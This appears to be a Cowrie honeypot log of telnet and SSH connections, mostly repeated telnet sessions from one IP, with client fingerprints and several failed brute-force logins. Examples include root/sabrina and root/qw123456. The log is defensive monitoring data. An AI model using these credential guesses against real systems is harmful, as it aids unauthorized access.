{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50098,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4e0f157e55d","protocol":"telnet","message":"New connection: 192.119.13.58:50098 (10.17.0.5:23) [session: d4e0f157e55d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:35.184843Z"}
{"eventid":"cowrie.session.closed","duration":32.08354902267456,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:36.755987Z","src_ip":"192.119.13.58","session":"a4db535e7103","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.2618522644043,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:41.996358Z","src_ip":"192.119.13.58","session":"5eaa4d33987e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.993529319763184,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:44.565976Z","src_ip":"192.119.13.58","session":"a91a09330a6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.912790298461914,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:53.190914Z","src_ip":"192.119.13.58","session":"84bd7a78106b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":49126,"dst_ip":"159.203.135.109","dst_port":22,"session":"39165b48f066","protocol":"ssh","message":"New connection: 37.233.85.71:49126 (159.203.135.109:22) [session: 39165b48f066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:58.772586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:58.777780Z","src_ip":"37.233.85.71","session":"39165b48f066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:58.882919Z","src_ip":"37.233.85.71","session":"39165b48f066","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sabrina","message":"login attempt [root/sabrina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:05:59.198791Z","src_ip":"37.233.85.71","session":"39165b48f066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:00.309302Z","src_ip":"37.233.85.71","session":"39165b48f066","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.166.103.173","src_port":40508,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9d8838021d0","protocol":"ssh","message":"New connection: 103.166.103.173:40508 (159.203.135.109:22) [session: c9d8838021d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:05.105050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:05.110921Z","src_ip":"103.166.103.173","session":"c9d8838021d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:05.352608Z","src_ip":"103.166.103.173","session":"c9d8838021d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123546","message":"login attempt [root/123546] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:06.351954Z","src_ip":"103.166.103.173","session":"c9d8838021d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:07.596681Z","src_ip":"103.166.103.173","session":"c9d8838021d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.18645668029785,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:09.381423Z","src_ip":"192.119.13.58","session":"63a6e740ec8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35924,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c3fa74c1ebe","protocol":"telnet","message":"New connection: 192.119.13.58:35924 (10.17.0.5:23) [session: 7c3fa74c1ebe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:10.827482Z"}
{"eventid":"cowrie.session.closed","duration":52.41397571563721,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:10.973753Z","src_ip":"192.119.13.58","session":"a29d40a8185f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.122812271118164,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:13.307547Z","src_ip":"192.119.13.58","session":"d4e0f157e55d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43520,"dst_ip":"10.17.0.5","dst_port":23,"session":"31efde755f82","protocol":"telnet","message":"New connection: 192.119.13.58:43520 (10.17.0.5:23) [session: 31efde755f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:13.322711Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36264,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab6e1aef8475","protocol":"telnet","message":"New connection: 192.119.13.58:36264 (10.17.0.5:23) [session: ab6e1aef8475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:19.623038Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52004,"dst_ip":"10.17.0.5","dst_port":23,"session":"751828d83f5e","protocol":"telnet","message":"New connection: 192.119.13.58:52004 (10.17.0.5:23) [session: 751828d83f5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:24.364794Z"}
{"eventid":"cowrie.session.closed","duration":3.998196840286255,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:28.362879Z","src_ip":"192.119.13.58","session":"751828d83f5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59038,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea3b76b785a3","protocol":"telnet","message":"New connection: 192.119.13.58:59038 (10.17.0.5:23) [session: ea3b76b785a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:35.034702Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47406,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4ba6846239a","protocol":"telnet","message":"New connection: 192.119.13.58:47406 (10.17.0.5:23) [session: f4ba6846239a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:40.028454Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":35090,"dst_ip":"10.17.0.5","dst_port":22,"session":"a71e9ceafaea","protocol":"ssh","message":"New connection: 80.94.92.184:35090 (10.17.0.5:22) [session: a71e9ceafaea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:41.167261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:41.172928Z","src_ip":"80.94.92.184","session":"a71e9ceafaea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:41.276223Z","src_ip":"80.94.92.184","session":"a71e9ceafaea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:41.924066Z","src_ip":"80.94.92.184","session":"a71e9ceafaea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55936,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9ca3d399344","protocol":"telnet","message":"New connection: 192.119.13.58:55936 (10.17.0.5:23) [session: e9ca3d399344]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:42.491517Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:43.036487Z","src_ip":"80.94.92.184","session":"a71e9ceafaea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58622,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0a348026e41","protocol":"telnet","message":"New connection: 192.119.13.58:58622 (10.17.0.5:23) [session: c0a348026e41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:43.352700Z"}
{"eventid":"cowrie.session.closed","duration":0.00551605224609375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:43.358100Z","src_ip":"192.119.13.58","session":"c0a348026e41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50894,"dst_ip":"10.17.0.5","dst_port":23,"session":"612f32f0f516","protocol":"telnet","message":"New connection: 192.119.13.58:50894 (10.17.0.5:23) [session: 612f32f0f516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:50.419399Z"}
{"eventid":"cowrie.session.closed","duration":40.44212007522583,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:51.269522Z","src_ip":"192.119.13.58","session":"7c3fa74c1ebe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58718,"dst_ip":"10.17.0.5","dst_port":23,"session":"e98b3be95c7f","protocol":"telnet","message":"New connection: 192.119.13.58:58718 (10.17.0.5:23) [session: e98b3be95c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:51.602075Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37694,"dst_ip":"10.17.0.5","dst_port":23,"session":"66ee2ab297ae","protocol":"telnet","message":"New connection: 192.119.13.58:37694 (10.17.0.5:23) [session: 66ee2ab297ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:53.660101Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53334,"dst_ip":"10.17.0.5","dst_port":23,"session":"57e8461803bb","protocol":"telnet","message":"New connection: 192.119.13.58:53334 (10.17.0.5:23) [session: 57e8461803bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:57.969333Z"}
{"eventid":"cowrie.session.closed","duration":39.117326736450195,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:58.740230Z","src_ip":"192.119.13.58","session":"ab6e1aef8475","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.8488883972168,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:59.171497Z","src_ip":"192.119.13.58","session":"31efde755f82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60330,"dst_ip":"10.17.0.5","dst_port":23,"session":"edece97821de","protocol":"telnet","message":"New connection: 192.119.13.58:60330 (10.17.0.5:23) [session: edece97821de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:59.804533Z"}
{"eventid":"cowrie.session.closed","duration":0.00539708137512207,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:06:59.809823Z","src_ip":"192.119.13.58","session":"edece97821de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45292,"dst_ip":"10.17.0.5","dst_port":23,"session":"712ca6a1b2d1","protocol":"telnet","message":"New connection: 192.119.13.58:45292 (10.17.0.5:23) [session: 712ca6a1b2d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:03.402726Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46966,"dst_ip":"10.17.0.5","dst_port":23,"session":"5684b281f5c0","protocol":"telnet","message":"New connection: 192.119.13.58:46966 (10.17.0.5:23) [session: 5684b281f5c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:03.848294Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":45328,"dst_ip":"10.17.0.5","dst_port":22,"session":"fccf6db4bcb7","protocol":"ssh","message":"New connection: 147.45.197.250:45328 (10.17.0.5:22) [session: fccf6db4bcb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:10.967622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:10.973048Z","src_ip":"147.45.197.250","session":"fccf6db4bcb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:11.063517Z","src_ip":"147.45.197.250","session":"fccf6db4bcb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qw123456","message":"login attempt [root/qw123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:11.337922Z","src_ip":"147.45.197.250","session":"fccf6db4bcb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:12.430422Z","src_ip":"147.45.197.250","session":"fccf6db4bcb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":49062,"dst_ip":"10.17.0.5","dst_port":22,"session":"b78f647f9275","protocol":"ssh","message":"New connection: 77.94.47.83:49062 (10.17.0.5:22) [session: b78f647f9275]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:15.829872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:15.839777Z","src_ip":"77.94.47.83","session":"b78f647f9275","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.88442873954773,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:15.919018Z","src_ip":"192.119.13.58","session":"ea3b76b785a3","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:15.969631Z","src_ip":"77.94.47.83","session":"b78f647f9275","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.099114656448364,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:16.127483Z","src_ip":"192.119.13.58","session":"f4ba6846239a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"vjqgfhjkm","message":"login attempt [root/vjqgfhjkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:16.351654Z","src_ip":"77.94.47.83","session":"b78f647f9275","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:17.481918Z","src_ip":"77.94.47.83","session":"b78f647f9275","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53756,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaa5a57c40d6","protocol":"telnet","message":"New connection: 192.119.13.58:53756 (10.17.0.5:23) [session: aaa5a57c40d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:21.024593Z"}
{"eventid":"cowrie.session.closed","duration":43.945345401763916,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:07:26.436769Z","src_ip":"192.119.13.58","session":"e9ca3d399344","protocol":"telnet"}
